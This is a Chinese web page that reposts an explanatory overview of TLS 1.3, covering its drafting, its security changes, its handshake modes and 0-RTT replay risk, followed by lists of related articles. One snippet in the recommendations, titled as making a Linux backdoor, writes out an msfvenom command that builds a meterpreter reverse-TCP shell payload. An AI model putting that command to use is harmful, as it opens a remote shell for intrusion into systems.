[转帖]TLS 1.3概述
TLS 1.3概述
http://www.inforsec.org/wp/?p=1960
作者:李新宇 中科院软件所
TLS 1.3是IETF正在制定的TLS 新标准。TLS 自标准化至今已有近20年的时间,自1999年TLS 1.0标准颁布,到后来的TLS 1.1(2006年)和目前得到广泛使用的TLS 1.2(2008年),TLS是保障网络传输安全最重要的安全标准之一。然而,广泛的应用也使得TLS成为了攻击的“众矢之的”,这些攻击或利用TLS设计本身存在的不足(如幸运十三攻击[1]、三次握手攻击[2]、跨协议攻击 [3]等),或利用TLS所用密码原语本身的缺陷(如RC4加密 [4]、RSA-PKCS#1 v1.5加密 [5]等),或利用TLS实现库中的漏洞(如心脏出血攻击[6]等)。面对这一系列的攻击,一直以来我们采取的措施是“打补丁”,即针对新的攻击做新的修补。然而,由于TLS的应用规模过于庞大,不断地打补丁在如此大规模的实际应用中并不容易全面实施。除此之外,交互双方必须运行复杂的TLS握手协议才能开始传输信息,很多情况下我们希望在握手轮数和握手延迟方面可以有更多的选择。出于以上以及其他种种因素的考虑,IETF从2014年开始着手制定一个“clean”的TLS1.3。
问题一:TLS 1.3的制定过程
TLS 1.3的制定过程是“透明”的,即IETF发布的草案中会留下若干问题,相关领域的专家学者可以就这些问题或者自己有疑问的其他问题通过邮件系统进行在线讨论[7],而讨论结果也会在更新后的草案版本中有所体现。目前最新发布的草案版本是TLS 1.3 draft 19 [8](2017年3月)。
除此之外,近两年也出现了一系列对TLS 1.3草案的分析工作,如[9-13],在标准正式颁布之前,这对于我们对TLS的全面理解以及TLS安全防护的设计是大有帮助的。
问题二:为什么是TLS 1.3
有一个比较有趣的细节,TLS新标准的名字并不是TLS 2.0或者其他名字,而是TLS 1.3,即延续了TLS 1.0、1.1和1.2的名称。这说明1.3是之前版本的升级,TLS 协议的大致框架并未发生本质改变。下面两图为TLS 1.2和TLS 1.3握手协议的对比(细节请参照标准文档)。然而,TLS 1.3是TLS标准更新过程中变动最大的一次,除了对于运行过程中的若干问题如密码套件的选择、密钥的计算方式、握手消息的发送方式等做了更改之外,TLS 1.3还增加了新的握手模式,以满足不同应用场景下的需求。

图一:TLS 1.2握手框架

图二:TLS 1.3握手框架
问题三:TLS 1.3做出了哪些重大改动
与之前版本类似,TLS 1.3协议可分为握手协议和记录协议,前者负责密码组件的协商以及安全信道的建立,后者则是在已建立的安全信道中传输秘密信息。TLS 1.3设计的第一个重要目标就是避免之前版本存在的缺陷,为此,一部分相关的改动如下:
(1)禁止使用RSA密钥传输算法。
(2)禁止一些安全性较弱的密码原语如MD5的使用。
(3)不再支持重协商握手模式。
(4)握手消息采取了加密操作,如图二中标有{}的部分。
(5)实现了握手协议和记录协议的密钥分离。
(6)实现了会话密钥与整个握手消息的绑定。
(7)记录层只能使用AEAD(Authenticated Encryption with Additional Data)认证加密模式。
相应的改动还有很多,新发布的草案中也会明确说明相比之前版本所做的改动。这些改动不仅可以避免之前版本存在的问题,如(6)使得TLS可以避免三次握手攻击。同时,也使得TLS的可证明安全分析工作更加方便,如(5)使得TLS 1.3可以实现密钥不可区分性质的证明,而在TLS1.2中,由于握手协议和记录协议的重叠,无法实现这一目标的证明。
从目前发布的最新草案来看,TLS 1.3主要支持四种握手模式:(1)基于(EC)DHE密钥交换的握手模式;(2)基于PSK的会话重启,由预共享密钥PSK进行快速简短的握手;(3)会话重启与(EC)DHE结合的握手,可以提供前向安全性;(4)基于PSK的0-RTT(round-trip time)握手,客户端利用PSK导出密钥,在第一轮就发送秘密数据,降低了握手的延迟。在此之后还可以继续进行(EC)DHE的密钥交换完成完整的握手(该步为可选)。注意到,0-RTT握手第一轮中加密数据所使用的密钥并没有服务器的贡献,因此可能存在重放攻击。另外,握手模式(4)与(2)或者(3)的区别仅在于是否在第一轮就传输秘密数据。
另外,TLS 1.3还定义了一种特殊的认证方式:后握手认证(post-handshake authentication)。在TLS握手过程中,客户端的认证是可选的,所谓后握手认证指的是握手结束后,允许服务器在任何时刻向客户端发起身份认证的申请,作为回复,客户端会发送证书以及对本次连接握手内容的签名,除此之外,还会发送密钥确认消息以提供对整个握手消息和会话密钥的确认。该条认证消息是在记录层的安全信道中传输的。
总结:
TLS 1.3 draft 19发布之后,起草者Eric Rescorla在讨论列表中列出了仍待解决的问题供大家讨论 [14],由此可见TLS 新标准的制定工作仍然在进行中,而对于TLS 1.3的研究也会成为未来的热点方向。与此同时,TLS 1.2仍然是目前甚至未来相当一段时间内被普遍使用或者兼容的TLS 版本,这可能导致TLS 1.2对TLS 1.3的安全性带来影响,这也是未来研究的重要方向。
[转帖]TLS 1.3概述的更多相关文章
- [转帖]TLS 版本问题
转帖 From https://www.cnblogs.com/xjnotxj/p/7252043.html 一.环境: CentOS 6.8nginx 1.6.0php 7.0.10 二.背景 最近 ...
- [转帖]TLS 1.3 VS TLS 1.2,让你明白 TLS 1.3 的强大
TLS 1.3 VS TLS 1.2,让你明白 TLS 1.3 的强大 https://www.jianshu.com/p/efe44d4a7501?utm_source=oschina-app 又拍 ...
- [转帖]TLS握手:回顾1.2、迎接1.3
TLS握手:回顾1.2.迎接1.3 novsec2019-05-10共26541人围观 ,发现 2 个不明物体网络安全 *本文原创作者:novsec,本文属于FreeBuf原创奖励计划,未经许可禁止转 ...
- SSL/TLS协议概览
SSL/TLS协议是什么 计算机网络的OSI七层模型和TCP/IP四层模型想必大家都知道.其中SSL/TLS是一种介与于传输层(比如TCP/IP)和应用层(比如HTTP)的协议.它通过"握手 ...
- TLS示例开发-golang版本
目录 前言 制作自签名证书 CA 服务器证书相关 客户端证书相关 证书如何验证 在浏览器中导入证书 导入证书 修改域名 golang服务端 目录 main.go 测试 参考 前言 在进行项目总结的时候 ...
- 假如让你来设计SSL/TLS协议,你要怎么设计呢?
摘要:本文将从设计者的视角介绍如何一步步设计出一个简易版的 SSL/TLS 的过程,在文章的最后,再简单介绍 TLS 1.2 版本的工作机制,以此帮助大家对 SSL/TLS 协议的基本原理有一个更深入 ...
- 机器学习——Logistic回归
参考<机器学习实战> 利用Logistic回归进行分类的主要思想: 根据现有数据对分类边界线建立回归公式,以此进行分类. 分类借助的Sigmoid函数: Sigmoid函数图: Sigmo ...
- SSL/TLS协议运行机制的概述_转
转自:SSL/TLS协议运行机制的概述 作者: 阮一峰 日期: 2014年2月 5日 互联网的通信安全,建立在SSL/TLS协议之上. 本文简要介绍SSL/TLS协议的运行机制.文章的重点是设计思想和 ...
- [转帖]图解SSL/TLS协议
图解SSL/TLS协议 作者: 阮一峰 日期: 2014年9月20日 感谢 腾讯课堂NEXT学院 赞助本站,腾讯官方的前端课程 免费试学. http://www.ruanyifeng.com/bl ...
随机推荐
- 【转载】COM 组件设计与应用(十八)——属性包
原文:http://vckbase.com/index.php/wv/1265.html 一.前言 书接上回,本回着落在介绍属性包 IPersistPropertyBag 接口的实现方法和调用方式.属 ...
- 一维码Code 128简介及其解码实现(zxing-cpp)
一维码Code 128:1981年推出,是一种长度可变.连续性的字母数字条码.与其他一维条码比较起来,相对较为复杂,支持的字元也相对较多,又有不同的编码方式可供交互运用,因此其应用弹性也较大. Cod ...
- 4 CRM-权限管理rbac、github代码
1.引入权限组件rbac 1.settings配置app.中间件 INSTALLED_APPS = [ ... ... 'crm.apps.CrmConfig', "stark.apps.S ...
- element-UI表格从一列中,拿到当前行的index----scope
这里拿到每一行的index----------scope.$index 这里拿到每一行的数据-----------scope.row 转: https://blog.csdn.net/bright20 ...
- msfvenom生成linux后门
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=ip LPORT=port -f elf > shell.elf
- hdu1546Idiomatic Phrases Game(floyd+map)
传送门 成语接龙,找每个单词都需要一点时间,问最少的时间 把字符串用map处理成数字编号,之后用floyd #include<bits/stdc++.h> using namespace ...
- linux镜像(持续更新)
Linux系统历史衍生图:https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg ubu ...
- Mysql Mariadb 密码问题
mysql密码遗忘和登陆报错问题 mysql登录密码忘记,其实解决办法很简单,只需要在mysql的主配置文件my.cnf里添加一行“跳过授权表”的参数选择即可! 在my.cnf中添加下面一行:[r ...
- 使用yum安装文件时提示安装文件重复问题2:nodejs-10.15.3-1nodesource.x86_64: [Errno 256] No more mirrors to try.
原因:yum命令缓存问题 解决办法: sudo yum clean all
- java web 3.1-web.xml文件配置
<?xml version="1.0" encoding="UTF-8" ?> <web-app xmlns:xsi="http:/ ...